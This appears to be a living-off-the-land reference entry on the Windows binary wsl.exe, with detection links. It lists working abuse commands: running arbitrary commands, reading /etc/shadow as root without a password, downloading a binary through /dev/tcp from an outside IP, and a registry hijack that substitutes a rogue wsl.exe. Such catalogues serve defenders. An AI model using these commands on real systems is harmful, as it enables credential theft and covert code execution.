Wsl.exe
Full path
C:\Windows\System32\wsl.exeCommands
Performs execution of specified file, can be used to execute arbitrary Linux commands.
wsl.exe -e /mnt/c/Windows/System32/calc.exeExecutes calc.exe from wsl.exe
os: Windows 10, Windows Server 2019, Windows 11
Performs execution of arbitrary Linux commands as root without need for password.
wsl.exe -u root -e cat /etc/shadowCats /etc/shadow file as root
os: Windows 10, Windows Server 2019, Windows 11
Performs execution of arbitrary Linux commands.
wsl.exe --exec bash -c "{CMD}"Executes Linux command (for example via bash) as the default user (unless stated otherwise using
-u <username>) on the default WSL distro (unless stated otherwise using-d <distro name>)os: Windows 10, Windows Server 2019, Windows 11
Download file
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'Downloads file from 192.168.1.10
os: Windows 10, Windows Server 2019, Windows 11
Execute a payload as a child process of `bash.exe` while masquerading as WSL.
wsl.exeWhen executed,
wsl.exequeries the registry value ofHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wslby default). If the value points to another folder containing a file namedwsl.exe, it will be executed instead of the legitimatewsl.exein the program files folder.os: Windows 10, Windows Server 2019, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml
- BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOCChild process from wsl.exe
Resources
acknowledgement: Alex Ionescu @aionescu, Matt @NotoriousRebel1, Asif Matadar @d1r4c, Nasreddine Bencherchali @nas_bench, Konrad 'unrooted' Klawikowski, Liran Ravich, CardinalOps